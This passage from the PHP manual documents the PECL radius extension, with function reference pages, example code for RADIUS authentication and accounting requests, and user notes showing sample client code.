  • RADIUS_MICROSOFT_MS_CHAP_CHALLENGE
  • RADIUS_MICROSOFT_MS_CHAP_MPPE_KEYS
  • RADIUS_MICROSOFT_MS_BAP_USAGE
  • RADIUS_MICROSOFT_MS_LINK_UTILIZATION_THRESHOLD
  • RADIUS_MICROSOFT_MS_LINK_DROP_TIME_LIMIT
  • RADIUS_MICROSOFT_MS_MPPE_SEND_KEY
  • RADIUS_MICROSOFT_MS_MPPE_RECV_KEY
  • RADIUS_MICROSOFT_MS_RAS_VERSION
  • RADIUS_MICROSOFT_MS_OLD_ARAP_PASSWORD
  • RADIUS_MICROSOFT_MS_NEW_ARAP_PASSWORD
  • RADIUS_MICROSOFT_MS_ARAP_PASSWORD_CHANGE_REASON
  • RADIUS_MICROSOFT_MS_FILTER
  • RADIUS_MICROSOFT_MS_ACCT_AUTH_TYPE
  • RADIUS_MICROSOFT_MS_ACCT_EAP_TYPE
  • RADIUS_MICROSOFT_MS_CHAP2_RESPONSE
  • RADIUS_MICROSOFT_MS_CHAP2_SUCCESS
  • RADIUS_MICROSOFT_MS_CHAP2_PW
  • RADIUS_MICROSOFT_MS_PRIMARY_DNS_SERVER
  • RADIUS_MICROSOFT_MS_SECONDARY_DNS_SERVER
  • RADIUS_MICROSOFT_MS_PRIMARY_NBNS_SERVER
  • RADIUS_MICROSOFT_MS_SECONDARY_NBNS_SERVER
  • RADIUS_MICROSOFT_MS_ARAP_CHALLENGE

User Contributed Notes

There are no user contributed notes for this page.


Examples

Howto start?

  • get a radius resource
  • configure the library
  • create the request
  • put attributes
  • send the request
  • receive attributes
  • close the radius resource (optional)
Take also a look at the examples in this package.

The package contains an example php script. This script demonstrates howto authenticate with radius using PAP or CHAP (md5). If you authenticate with Microsoft Radius servers then its not possible to use CHAP (md5). If you would like to authenticate with Microsoft Servers you have to use MS-CHAPv1 or MS-CHAPv2, but its more complicated, because you need md4, sha1 and des to generate the right data. The enclosed examples demonstrate all authentication-methods, including MS-CHAPv1 and MS-CHAPv2. To get the MS-CHAP to work you need the mcrypt and the mhash extension, starting with version 1.2 of the package, the mcrypt extension is no longer needed.

User Contributed Notes

There are no user contributed notes for this page.


Radius Functions

Table of Contents

  • radius_acct_open — Creates a Radius handle for accounting
  • radius_add_server — Adds a server
  • radius_auth_open — Creates a Radius handle for authentication
  • radius_close — Frees all ressources
  • radius_config — Causes the library to read the given configuration file
  • radius_create_request — Create accounting or authentication request
  • radius_cvt_addr — Converts raw data to IP-Address
  • radius_cvt_int — Converts raw data to integer
  • radius_cvt_string — Converts raw data to string
  • radius_demangle_mppe_key — Derives mppe-keys from mangled data
  • radius_demangle — Demangles data
  • radius_get_attr — Extracts an attribute
  • radius_get_tagged_attr_data — Extracts the data from a tagged attribute
  • radius_get_tagged_attr_tag — Extracts the tag from a tagged attribute
  • radius_get_vendor_attr — Extracts a vendor specific attribute
  • radius_put_addr — Attaches an IP address attribute
  • radius_put_attr — Attaches a binary attribute
  • radius_put_int — Attaches an integer attribute
  • radius_put_string — Attaches a string attribute
  • radius_put_vendor_addr — Attaches a vendor specific IP address attribute
  • radius_put_vendor_attr — Attaches a vendor specific binary attribute
  • radius_put_vendor_int — Attaches a vendor specific integer attribute
  • radius_put_vendor_string — Attaches a vendor specific string attribute
  • radius_request_authenticator — Returns the request authenticator
  • radius_salt_encrypt_attr — Salt-encrypts a value
  • radius_send_request — Sends the request and waites for a reply
  • radius_server_secret — Returns the shared secret
  • radius_strerror — Returns an error message

User Contributed Notes

SysCo/al - developer [at] sysco[dot] ch 07-Jan-2008 02:39
Pure PHP radius class (do not need the radius package !)

We have implemented a pure PHP radius class following the RFC 2865 rules. Using this class, it is also possible to do WWW realm authentication.

Class abstract, full class implementation (LGPL) with helper files and examples can be found at http://developer.sysco.ch/php/

<?php

// (...)

class Radius
{
    // (...)

    public function Radius($ip_radius_server = '127.0.0.1', $shared_secret = '', $radius_suffix = '', $udp_timeout = 5, $authentication_port = 1812, $accounting_port = 1813)
    {
        // (...)
    }

    // (...)

    function AccessRequest($username = '', $password = '', $udp_timeout = 0)
    {

        // (...)

        $_socket_to_server = socket_create(AF_INET, SOCK_DGRAM, 17); // UDP packet = 17

        if ($_socket_to_server === FALSE)
        {
            // (...)
        }
        elseif (FALSE === socket_connect($_socket_to_server, $this->_ip_radius_server, $this->_authentication_port))
        {
            // (...)
        }
        elseif (FALSE === socket_write($_socket_to_server, $packet_data, $packet_length))
        {
            // (...)
        }
        else
        {
            // (...)
            $read_socket_array   = array($_socket_to_server);
            $write_socket_array  = NULL;
            $except_socket_array = NULL;

            $received_packet = chr(0);

            if (!(FALSE === socket_select($read_socket_array, $write_socket_array, $except_socket_array, $this->_udp_timeout)))
            {
                if (in_array($_socket_to_server, $read_socket_array))
                {
                    if (FALSE === ($received_packet = @socket_read($_socket_to_server, 1024))) // @ used, than no error is displayed if the connection is closed by the remote host
                    {
                        // (...)
                    }
                    else
                    {
                        socket_close($_socket_to_server);
                    }
                }
            }
            else
            {
                socket_close($_socket_to_server);
            }
        }

        // (...)

        return (2 == ($this->_radius_packet_received));
    }
}

?>

Example
<?php
    require_once('radius.class.php');
    $radius = new Radius('127.0.0.1', 'secret');
    if ($radius->AccessRequest('user', 'pass'))
    {
        echo "Authentication accepted.";
    }
    else
    {
        echo "Authentication rejected.";
    }
?>
andac dot aydin at code64 dot de 07-Jul-2006 05:32
If you are constantly getting the errormessage:

Fatal error: Unknown function: radius_auth_open() in...

And your Server is a Windows-System (for example standard-xampp installation), you propably did not remove the comment symbol ";" in front of "extension=php_radius.dll" in php.ini.

If you did that, but get the error anyway:

Additionally be sure you edited the right php.ini, since xampp installs several php.exe's but only "xampp/apache/bin/php.ini"  is the correct one!

It did cost me 2 days to find that out!
shaun at verticalevolution dot com 27-Apr-2006 05:03
To expand on the simple example by jengo at phpgroupware dot org you can add a NAS IP address to the request by using:

radius_put_addr($radius, RADIUS_NAS_IP_ADDRESS, '127.0.0.1');

and not radius_put_attr or radius_put_string. I also had to use radius_put_string for the user name and password.
brett at silcon dot com 13-Jan-2006 07:20
Here's a longer example that DOES do Challenge Response and works with SecurID Authentication Managers.

http://www.webtrotter.com/securid_radius.txt

(script wouldn't let me post it because of the long lines, plus it was too long of an example).
jengo at phpgroupware dot org 24-Oct-2005 05:26
Here is a simple example on how to auth against radius.  Note:  This doesn't handle challenge responses.

<?php
    $radius = radius_auth_open();
    if (! radius_add_server($radius,'localhost',0,'radiussecret',5,3))
    {
        die('Radius Error: ' . radius_strerror($radius));
    }

    if (! radius_create_request($radius,RADIUS_ACCESS_REQUEST))
    {
        die('Radius Error: ' . radius_strerror($radius));
    }

    radius_put_attr($radius,RADIUS_USER_NAME,'username');
    radius_put_attr($radius,RADIUS_USER_PASSWORD,'password');

    switch (radius_send_request($radius))
    {
        case RADIUS_ACCESS_ACCEPT:
            echo 'GOOD LOGIN';
            break;
        case RADIUS_ACCESS_REJECT:
            echo 'BAD LOGIN';
            break;
        case RADIUS_ACCESS_CHALLENGE:
            echo 'CHALLENGE REQUESTED';
            break;
        default:
            die('Radius Error: ' . radius_strerror($radius));
    }
?>


Creates a Radius handle for accounting

  • « Radius Functions
  • radius_add_server »
  • PHP Manual
  • Radius Functions
  • Creates a Radius handle for accounting

radius_acct_open

(PECL radius >= 1.1.0)

radius_acct_open — Creates a Radius handle for accounting

Description

resource radius_acct_open ( void )

Return Values

Returns a handle on success, FALSE on error. This function only fails if insufficient memory is available.

Examples

Example #1 radius_acct_open() example

<?php
$res = radius_acct_open ()
    or die ("Could not create handle");
print("Handle successfully created");
?>

User Contributed Notes

There are no user contributed notes for this page.


Adds a server

  • « radius_acct_open
  • radius_auth_open »
  • PHP Manual
  • Radius Functions
  • Adds a server

radius_add_server

(PECL radius >= 1.1.0)

radius_add_server — Adds a server

Description

bool radius_add_server ( resource $radius_handle , string $hostname , int $port , string $secret , int $timeout , int $max_tries )

radius_add_server() may be called multiple times, and it may be used together with radius_config(). At most 10 servers may be specified. When multiple servers are given, they are tried in round-robin fashion until a valid response is received, or until each server's max_tries limit has been reached.

Parameters

radius_handle

hostname

The hostname parameter specifies the server host, either as a fully qualified domain name or as a dotted-quad IP address in text form.

port

The port specifies the UDP port to contact on the server. If port is given as 0, the library looks up the radius/udp or radacct/udp service in the network services database, and uses the port found there. If no entry is found, the library uses the standard Radius ports, 1812 for authentication and 1813 for accounting.

secret

The shared secret for the server host is passed to the secret parameter. The Radius protocol ignores all but the leading 128 bytes of the shared secret.

timeout

The timeout for receiving replies from the server is passed to the timeout parameter, in units of seconds.

max_tries

The maximum number of repeated requests to make before giving up is passed into the max_tries.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 radius_add_server() example

<?php
if (!radius_add_server($res, 'radius.example.com', 1812, 'testing123', 3, 3)) {
    echo 'RadiusError:' . radius_strerror($res). "\n<br>";
    exit;
}
?>

See Also

  • radius_config() - Causes the library to read the given configuration file

User Contributed Notes

There are no user contributed notes for this page.


Creates a Radius handle for authentication

  • « radius_add_server
  • radius_close »
  • PHP Manual
  • Radius Functions
  • Creates a Radius handle for authentication

radius_auth_open

(PECL radius >= 1.1.0)

radius_auth_open — Creates a Radius handle for authentication

Description

resource radius_auth_open ( void )

Return Values

Returns a handle on success, FALSE on error. This function only fails if insufficient memory is available.

Examples

Example #1 radius_auth_open() example

<?php
$radh = radius_auth_open()
    or die ("Could not create handle");
echo "Handle successfully created";
?>

User Contributed Notes

There are no user contributed notes for this page.


Frees all ressources

  • « radius_auth_open
  • radius_config »
  • PHP Manual
  • Radius Functions
  • Frees all ressources

radius_close

(PECL radius >= 1.1.0)

radius_close — Frees all ressources

Description

bool radius_close ( resource $radius_handle )

It is not needed to call this function because php frees all resources at the end of each request.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Causes the library to read the given configuration file

  • « radius_close
  • radius_create_request »
  • PHP Manual
  • Radius Functions
  • Causes the library to read the given configuration file

radius_config

(PECL radius >= 1.1.0)

radius_config — Causes the library to read the given configuration file

Description

bool radius_config ( resource $radius_handle , string $file )

Before issuing any Radius requests, the library must be made aware of the servers it can contact. The easiest way to configure the library is to call radius_config(). radius_config() causes the library to read a configuration file whose format is described in » radius.conf.

Parameters

radius_handle

file

The pathname of the configuration file is passed as the file argument to radius_config(). The library can also be configured programmatically by calls to radius_add_server().

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • radius_add_server() - Adds a server

User Contributed Notes

There are no user contributed notes for this page.


Create accounting or authentication request

  • « radius_config
  • radius_cvt_addr »
  • PHP Manual
  • Radius Functions
  • Create accounting or authentication request

radius_create_request

(PECL radius >= 1.1.0)

radius_create_request — Create accounting or authentication request

Description

bool radius_create_request ( resource $radius_handle , int $type )

A Radius request consists of a code specifying the kind of request, and zero or more attributes which provide additional information. To begin constructing a new request, call radius_create_request().

Note: Attention: You must call this function, before you can put any attribute!

Parameters

radius_handle

type

Type is RADIUS_ACCESS_REQUEST or RADIUS_ACCOUNTING_REQUEST.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 radius_create_request() example

<?php
if (!radius_create_request($res, RADIUS_ACCESS_REQUEST)) {
    echo 'RadiusError:' . radius_strerror($res). "\n<br />";
    exit;
}
?>

See Also

  • radius_send_request() - Sends the request and waites for a reply

User Contributed Notes

There are no user contributed notes for this page.


Converts raw data to IP-Address

  • « radius_create_request
  • radius_cvt_int »
  • PHP Manual
  • Radius Functions
  • Converts raw data to IP-Address

radius_cvt_addr

(PECL radius >= 1.1.0)

radius_cvt_addr — Converts raw data to IP-Address

Description

string radius_cvt_addr ( string $data )

Examples

Example #1 radius_cvt_addr() example

<?php
while ($resa = radius_get_attr($res)) {

    if (!is_array($resa)) {
        printf ("Error getting attribute: %s\n",  radius_strerror($res));
        exit;
    }

    $attr = $resa['attr'];
    $data = $resa['data'];

    switch ($attr) {

    case RADIUS_FRAMED_IP_ADDRESS:
        $ip = radius_cvt_addr($data);
        echo "IP: $ip<br>\n";
        break;

    case RADIUS_FRAMED_IP_NETMASK:
        $mask = radius_cvt_addr($data);
        echo "MASK: $mask<br>\n";
        break;
    }
}
?>

See Also

  • radius_cvt_int() - Converts raw data to integer
  • radius_cvt_string() - Converts raw data to string

User Contributed Notes

There are no user contributed notes for this page.


Converts raw data to integer

  • « radius_cvt_addr
  • radius_cvt_string »
  • PHP Manual
  • Radius Functions
  • Converts raw data to integer

radius_cvt_int

(PECL radius >= 1.1.0)

radius_cvt_int — Converts raw data to integer

Description

int radius_cvt_int ( string $data )

Examples

Example #1 radius_cvt_int() example

<?php
while ($resa = radius_get_attr($res)) {

    if (!is_array($resa)) {
        printf ("Error getting attribute: %s\n",  radius_strerror($res));
        exit;
    }

    $attr = $resa['attr'];
    $data = $resa['data'];

    switch ($attr) {

    case RADIUS_FRAMED_MTU:
        $mtu = radius_cvt_int($data);
        echo "MTU: $mtu<br>\n";
        break;
    }
}
?>

See Also

  • radius_cvt_addr() - Converts raw data to IP-Address
  • radius_cvt_string() - Converts raw data to string

User Contributed Notes

There are no user contributed notes for this page.


Converts raw data to string

  • « radius_cvt_int
  • radius_demangle_mppe_key »
  • PHP Manual
  • Radius Functions
  • Converts raw data to string

radius_cvt_string

(PECL radius >= 1.1.0)

radius_cvt_string — Converts raw data to string

Description

string radius_cvt_string ( string $data )

Examples

Example #1 radius_cvt_string() example

<?php
while ($resa = radius_get_attr($res)) {

    if (!is_array($resa)) {
        printf ("Error getting attribute: %s\n",  radius_strerror($res));
        exit;
    }

    $attr = $resa['attr'];
    $data = $resa['data'];

    switch ($attr) {

    case RADIUS_FILTER_ID:
        $id = radius_cvt_string($data);
        echo "Filter ID: $id<br>\n";
        break;
    }
}
?>

See Also

  • radius_cvt_addr() - Converts raw data to IP-Address
  • radius_cvt_int() - Converts raw data to integer

User Contributed Notes

There are no user contributed notes for this page.


Derives mppe-keys from mangled data

  • « radius_cvt_string
  • radius_demangle »
  • PHP Manual
  • Radius Functions
  • Derives mppe-keys from mangled data

radius_demangle_mppe_key

(PECL radius >= 1.2.0)

radius_demangle_mppe_key — Derives mppe-keys from mangled data

Description

string radius_demangle_mppe_key ( resource $radius_handle , string $mangled )

When using MPPE with MS-CHAPv2, the send- and recv-keys are mangled (see » RFC 2548), however this function is useless, because I don't think that there is or will be a PPTP-MPPE implementation in PHP.

Return Values

Returns the demangled string, or FALSE on error.

User Contributed Notes

There are no user contributed notes for this page.


Demangles data

  • « radius_demangle_mppe_key
  • radius_get_attr »
  • PHP Manual
  • Radius Functions
  • Demangles data

radius_demangle

(PECL radius >= 1.2.0)

radius_demangle — Demangles data

Description

string radius_demangle ( resource $radius_handle , string $mangled )

Some data (Passwords, MS-CHAPv1 MPPE-Keys) is mangled for security reasons, and must be demangled before you can use them.

Return Values

Returns the demangled string, or FALSE on error.

User Contributed Notes

There are no user contributed notes for this page.


Extracts an attribute

  • « radius_demangle
  • radius_get_tagged_attr_data »
  • PHP Manual
  • Radius Functions
  • Extracts an attribute

radius_get_attr

(PECL radius >= 1.1.0)

radius_get_attr — Extracts an attribute

Description

mixed radius_get_attr ( resource $radius_handle )

Like Radius requests, each response may contain zero or more attributes. After a response has been received successfully by radius_send_request(), its attributes can be extracted one by one using radius_get_attr(). Each time radius_get_attr() is called, it gets the next attribute from the current response.

Return Values

Returns an associative array containing the attribute-type and the data, or error number <= 0.

Examples

Example #1 radius_get_attr() example

<?php
while ($resa = radius_get_attr($res)) {

    if (!is_array($resa)) {
        printf("Error getting attribute: %s\n",  radius_strerror($res));
        exit;
    }

    $attr = $resa['attr'];
    $data = $resa['data'];
    printf("Got Attr:%d %d Bytes %s\n", $attr, strlen($data), bin2hex($data));
}
?>

See Also

  • radius_put_attr() - Attaches a binary attribute
  • radius_get_vendor_attr() - Extracts a vendor specific attribute
  • radius_put_vendor_attr() - Attaches a vendor specific binary attribute
  • radius_send_request() - Sends the request and waites for a reply

User Contributed Notes

There are no user contributed notes for this page.


Extracts the data from a tagged attribute

  • « radius_get_attr
  • radius_get_tagged_attr_tag »
  • PHP Manual
  • Radius Functions
  • Extracts the data from a tagged attribute

radius_get_tagged_attr_data

(PECL radius >= 1.3.0)

radius_get_tagged_attr_data — Extracts the data from a tagged attribute

Description

string radius_get_tagged_attr_data ( string $data )

If a tagged attribute has been returned from radius_get_attr(), radius_get_tagged_attr_data() will return the data from the attribute.

Parameters

data

The tagged attribute to be decoded.

Return Values

Returns the data from the tagged attribute or FALSE on failure.

Examples

Example #1 radius_get_tagged_attr_data() example

<?php
while ($resa = radius_get_attr($res)) {
    if (!is_array($resa)) {
        printf ("Error getting attribute: %s\n",  radius_strerror($res));
        exit;
    }

    $attr = $resa['attr'];
    $data = $resa['data'];

    $tag = radius_get_tagged_attr_tag($data);
    $value = radius_get_tagged_attr_data($data);

    printf("Got tagged attribute with tag %d and value %s\n", $tag, $value);
}
?>

See Also

  • radius_get_attr() - Extracts an attribute
  • radius_get_tagged_attr_tag() - Extracts the tag from a tagged attribute

User Contributed Notes

There are no user contributed notes for this page.


Extracts the tag from a tagged attribute

  • « radius_get_tagged_attr_data
  • radius_get_vendor_attr »
  • PHP Manual
  • Radius Functions
  • Extracts the tag from a tagged attribute

radius_get_tagged_attr_tag

(PECL radius >= 1.3.0)

radius_get_tagged_attr_tag — Extracts the tag from a tagged attribute

Description

integer radius_get_tagged_attr_tag ( string $data )

If a tagged attribute has been returned from radius_get_attr(), radius_get_tagged_attr_data() will return the tag from the attribute.

Parameters

data

The tagged attribute to be decoded.

Return Values

Returns the tag from the tagged attribute or FALSE on failure.

Examples

Example #1 radius_get_tagged_attr_tag() example

<?php
while ($resa = radius_get_attr($res)) {
    if (!is_array($resa)) {
        printf ("Error getting attribute: %s\n",  radius_strerror($res));
        exit;
    }

    $attr = $resa['attr'];
    $data = $resa['data'];

    $tag = radius_get_tagged_attr_tag($data);
    $value = radius_get_tagged_attr_data($data);

    printf("Got tagged attribute with tag %d and value %s\n", $tag, $value);
}
?>

See Also

  • radius_get_attr() - Extracts an attribute
  • radius_get_tagged_attr_data() - Extracts the data from a tagged attribute

User Contributed Notes

There are no user contributed notes for this page.


Extracts a vendor specific attribute

  • « radius_get_tagged_attr_tag
  • radius_put_addr »
  • PHP Manual
  • Radius Functions
  • Extracts a vendor specific attribute

radius_get_vendor_attr

(PECL radius >= 1.1.0)

radius_get_vendor_attr — Extracts a vendor specific attribute

Description

array radius_get_vendor_attr ( string $data )

If radius_get_attr() returns RADIUS_VENDOR_SPECIFIC, radius_get_vendor_attr() may be called to determine the vendor.

Return Values

Returns an associative array containing the attribute-type, vendor and the data, or FALSE on error.

Examples

Example #1 radius_get_vendor_attr() example

<?php
while ($resa = radius_get_attr($res)) {

    if (!is_array($resa)) {
        printf ("Error getting attribute: %s\n",  radius_strerror($res));
        exit;
    }

    $attr = $resa['attr'];
    $data = $resa['data'];
    printf("Got Attr:%d %d Bytes %s\n", $attr, strlen($data), bin2hex($data));
    if ($attr == RADIUS_VENDOR_SPECIFIC) {

        $resv = radius_get_vendor_attr($data);
        if (is_array($resv)) {
            $vendor = $resv['vendor'];
            $attrv = $resv['attr'];
            $datav = $resv['data'];
            printf("Got Vendor Attr:%d %d Bytes %s\n", $attrv, strlen($datav), bin2hex($datav));
        }

    }
}
?>

See Also

  • radius_get_attr() - Extracts an attribute
  • radius_put_vendor_attr() - Attaches a vendor specific binary attribute

User Contributed Notes

There are no user contributed notes for this page.


Attaches an IP address attribute

  • « radius_get_vendor_attr
  • radius_put_attr »
  • PHP Manual
  • Radius Functions
  • Attaches an IP address attribute

radius_put_addr

(PECL radius >= 1.1.0)

radius_put_addr — Attaches an IP address attribute

Description

bool radius_put_addr ( resource $radius_handle , int $type , string $addr [, int $options = 0 [, int $tag ]] )

Attaches an IP address attribute to the current RADIUS request.

Note:

A request must be created via radius_create_request() before this function can be called.

Parameters

radius_handle

The RADIUS resource.

type

The attribute type.

addr

An IPv4 address in string form, such as 10.0.0.1.

options

A bitmask of the attribute options. The available options include RADIUS_OPTION_TAGGED and RADIUS_OPTION_SALT.

tag

The attribute tag. This parameter is ignored unless the RADIUS_OPTION_TAGGED option is set.

Return Values

Returns TRUE on success or FALSE on failure.

Changelog

Version | Description
PECL radius 1.3.0 | The options and tag parameters were added.

User Contributed Notes

There are no user contributed notes for this page.


Attaches a binary attribute

  • « radius_put_addr
  • radius_put_int »
  • PHP Manual
  • Radius Functions
  • Attaches a binary attribute

radius_put_attr

(PECL radius >= 1.1.0)

radius_put_attr — Attaches a binary attribute

Description

bool radius_put_attr ( resource $radius_handle , int $type , string $value [, int $options = 0 [, int $tag ]] )

Attaches a binary attribute to the current RADIUS request.

Note:

A request must be created via radius_create_request() before this function can be called.

Parameters

radius_handle

The RADIUS resource.

type

The attribute type.

value

The attribute value, which will be treated as a raw binary string.

options

A bitmask of the attribute options. The available options include RADIUS_OPTION_TAGGED and RADIUS_OPTION_SALT.

tag

The attribute tag. This parameter is ignored unless the RADIUS_OPTION_TAGGED option is set.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 radius_put_attr() example

<?php
mt_srand(time());
$chall = mt_rand();
$chapval = md5(pack('Ca*',1 , 'sepp' . $chall));
$pass = pack('CH*', 1, $chapval);
if (!radius_put_attr($res, RADIUS_CHAP_PASSWORD, $pass)) {
    echo 'RadiusError:' . radius_strerror($res). "\n<br />";
    exit;
}
?>

Changelog

Version | Description
PECL radius 1.3.0 | The options and tag parameters were added.

See Also

  • radius_get_attr() - Extracts an attribute
  • radius_get_vendor_attr() - Extracts a vendor specific attribute
  • radius_put_vendor_attr() - Attaches a vendor specific binary attribute

User Contributed Notes

There are no user contributed notes for this page.


Attaches an integer attribute

  • « radius_put_attr
  • radius_put_string »
  • PHP Manual
  • Radius Functions
  • Attaches an integer attribute

radius_put_int

(PECL radius >= 1.1.0)

radius_put_int — Attaches an integer attribute

Description

bool radius_put_int ( resource $radius_handle , int $type , int $value [, int $options = 0 [, int $tag ]] )

Attaches an integer attribute to the current RADIUS request.

Note:

A request must be created via radius_create_request() before this function can be called.

Parameters

radius_handle

The RADIUS resource.

type

The attribute type.

value

The attribute value.

options

A bitmask of the attribute options. The available options include RADIUS_OPTION_TAGGED and RADIUS_OPTION_SALT.

tag

The attribute tag. This parameter is ignored unless the RADIUS_OPTION_TAGGED option is set.

Return Values

Returns TRUE on success or FALSE on failure.

Changelog

Version | Description
PECL radius 1.3.0 | The options and tag parameters were added.

Examples

Example #1 radius_put_int() example

<?php
if (!radius_put_int($res, RAD_FRAMED_PROTOCOL, RAD_PPP)) {
   echo 'RadiusError:' . radius_strerror($res). "\n<br />";
   exit;
}
?>

See Also

  • radius_put_string() - Attaches a string attribute
  • radius_put_vendor_int() - Attaches a vendor specific integer attribute
  • radius_put_vendor_string() - Attaches a vendor specific string attribute

User Contributed Notes

There are no user contributed notes for this page.


Attaches a string attribute

  • « radius_put_int
  • radius_put_vendor_addr »
  • PHP Manual
  • Radius Functions
  • Attaches a string attribute

radius_put_string

(PECL radius >= 1.1.0)

radius_put_string — Attaches a string attribute

Description

bool radius_put_string ( resource $radius_handle , int $type , string $value [, int $options = 0 [, int $tag ]] )

Attaches a string attribute to the current RADIUS request. In general, radius_put_attr() is a more useful function for attaching string attributes, as it is binary safe.

Note:

A request must be created via radius_create_request() before this function can be called.

Parameters

radius_handle

The RADIUS resource.

type

The attribute type.

value

The attribute value. This value is expected by the underlying library to be null terminated, therefore this parameter is not binary safe.

options

A bitmask of the attribute options. The available options include RADIUS_OPTION_TAGGED and RADIUS_OPTION_SALT.

tag

The attribute tag. This parameter is ignored unless the RADIUS_OPTION_TAGGED option is set.

Return Values

Returns TRUE on success or FALSE on failure.

Changelog

Version | Description
PECL radius 1.3.0 | The options and tag parameters were added.

Examples

Example #1 radius_put_string() example

<?php
if (!radius_put_string($res, RADIUS_USER_NAME, 'billy')) {
    echo 'RadiusError:' . radius_strerror($res). "\n<br />";
    exit;
}
?>

See Also

  • radius_put_int() - Attaches an integer attribute
  • radius_put_vendor_int() - Attaches a vendor specific integer attribute
  • radius_put_vendor_string() - Attaches a vendor specific string attribute

User Contributed Notes

There are no user contributed notes for this page.


Attaches a vendor specific IP address attribute

  • « radius_put_string
  • radius_put_vendor_attr »
  • PHP Manual
  • Radius Functions
  • Attaches a vendor specific IP address attribute

radius_put_vendor_addr

(PECL radius >= 1.1.0)

radius_put_vendor_addr — Attaches a vendor specific IP address attribute

Description

bool radius_put_vendor_addr ( resource $radius_handle , int $vendor , int $type , string $addr )

Attaches an IP address vendor specific attribute to the current RADIUS request.

Note:

A request must be created via radius_create_request() before this function can be called.

Parameters

radius_handle

The RADIUS resource.

vendor

The vendor ID.

type

The attribute type.

addr

An IPv4 address in string form, such as 10.0.0.1.

options

A bitmask of the attribute options. The available options include RADIUS_OPTION_TAGGED and RADIUS_OPTION_SALT.

tag

The attribute tag. This parameter is ignored unless the RADIUS_OPTION_TAGGED option is set.

Return Values

Returns TRUE on success or FALSE on failure.

Changelog

Version | Description
PECL radius 1.3.0 | The options and tag parameters were added.

User Contributed Notes

There are no user contributed notes for this page.


Attaches a vendor specific binary attribute

  • « radius_put_vendor_addr
  • radius_put_vendor_int »
  • PHP Manual
  • Radius Functions
  • Attaches a vendor specific binary attribute

radius_put_vendor_attr

(PECL radius >= 1.1.0)

radius_put_vendor_attr — Attaches a vendor specific binary attribute

Description

bool radius_put_vendor_attr ( resource $radius_handle , int $vendor , int $type , string $value [, int $options = 0 [, int $tag ]] )

Attaches a vendor specific binary attribute to the current RADIUS request.

Note:

A request must be created via radius_create_request() before this function can be called.

Parameters

radius_handle

The RADIUS resource.

vendor

The vendor ID.

type

The attribute type.

value

The attribute value, which will be treated as a raw binary string.

options

A bitmask of the attribute options. The available options include RADIUS_OPTION_TAGGED and RADIUS_OPTION_SALT.

tag

The attribute tag. This parameter is ignored unless the RADIUS_OPTION_TAGGED option is set.

Return Values

Returns TRUE on success or FALSE on failure.

Changelog

Version | Description
PECL radius 1.3.0 | The options and tag parameters were added.

Examples

Example #1 radius_put_vendor_attr() example

<?php
if (!radius_put_vendor_attr($res, RADIUS_VENDOR_MICROSOFT, RAD_MICROSOFT_MS_CHAP_CHALLENGE, $challenge)) {
    echo 'RadiusError:' . radius_strerror($res). "\n<br />";
    exit;
}
?>

See Also

  • radius_get_vendor_attr() - Extracts a vendor specific attribute

User Contributed Notes

There are no user contributed notes for this page.


Attaches a vendor specific integer attribute

  • « radius_put_vendor_attr
  • radius_put_vendor_string »
  • PHP Manual
  • Radius Functions
  • Attaches a vendor specific integer attribute

radius_put_vendor_int

(PECL radius >= 1.1.0)

radius_put_vendor_int — Attaches a vendor specific integer attribute

Description

bool radius_put_vendor_int ( resource $radius_handle , int $vendor , int $type , int $value [, int $options = 0 [, int $tag ]] )

Attaches a vendor specific integer attribute to the current RADIUS request.

Note:

A request must be created via radius_create_request() before this function can be called.

Parameters

radius_handle

The RADIUS resource.

vendor

The vendor ID.

type

The attribute type.

value

The attribute value.

options

A bitmask of the attribute options. The available options include RADIUS_OPTION_TAGGED and RADIUS_OPTION_SALT.

tag

The attribute tag. This parameter is ignored unless the RADIUS_OPTION_TAGGED option is set.

Return Values

Returns TRUE on success or FALSE on failure.

Changelog

Version | Description
PECL radius 1.3.0 | The options and tag parameters were added.

See Also

  • radius_put_vendor_string() - Attaches a vendor specific string attribute

User Contributed Notes

There are no user contributed notes for this page.


Attaches a vendor specific string attribute

  • « radius_put_vendor_int
  • radius_request_authenticator »
  • PHP Manual
  • Radius Functions
  • Attaches a vendor specific string attribute

radius_put_vendor_string

(PECL radius >= 1.1.0)

radius_put_vendor_string — Attaches a vendor specific string attribute

Description

bool radius_put_vendor_string ( resource $radius_handle , int $vendor , int $type , string $value [, int $options = 0 [, int $tag ]] )

Attaches a vendor specific string attribute to the current RADIUS request. In general, radius_put_vendor_attr() is a more useful function for attaching string attributes, as it is binary safe.

Note:

A request must be created via radius_create_request() before this function can be called.

Parameters

radius_handle

The RADIUS resource.

vendor

The vendor ID.

type

The attribute type.

value

The attribute value. This value is expected by the underlying library to be null terminated, therefore this parameter is not binary safe.

options

A bitmask of the attribute options. The available options include RADIUS_OPTION_TAGGED and RADIUS_OPTION_SALT.

tag

The attribute tag. This parameter is ignored unless the RADIUS_OPTION_TAGGED option is set.

Return Values

Returns TRUE on success or FALSE on failure.

Changelog

Version | Description
PECL radius 1.3.0 | The options and tag parameters were added.

See Also

  • radius_put_vendor_int() - Attaches a vendor specific integer attribute

User Contributed Notes

sebastian at sebsoft dot nl 30-Oct-2008 05:04
In the PECL sources, a certain vendor specific string is included for Microsoft systems.
However, if you just want to pass something entirely different, like Cisco specifics, that's possible.
The fact that this isn't included in the sources of the PECL doesn't mean you can't use them.

Better said, everything there is in the dictionary of your Radius server can be put in as string.

Like the following example to write a h323-gw-id:
<?php
$res = radius_acct_open ();
radius_add_server($res,'127.0.0.1', 1813, 'mysecret', 10, 2);
radius_create_request($res, RADIUS_ACCOUNTING_REQUEST);
radius_put_vendor_string($res,9,33 ,"h323-gw-id=123456");

$result = radius_send_request($res);
?>


Returns the request authenticator

  • « radius_put_vendor_string
  • radius_salt_encrypt_attr »
  • PHP Manual
  • Radius Functions
  • Returns the request authenticator

radius_request_authenticator

(PECL radius >= 1.1.0)

radius_request_authenticator — Returns the request authenticator

Description

string radius_request_authenticator ( resource $radius_handle )

The request authenticator is needed for demangling mangled data like passwords and encryption-keys.

Return Values

Returns the request authenticator as string, or FALSE on error.

See Also

  • radius_demangle() - Demangles data

User Contributed Notes

There are no user contributed notes for this page.


Salt-encrypts a value

  • « radius_request_authenticator
  • radius_send_request »
  • PHP Manual
  • Radius Functions
  • Salt-encrypts a value

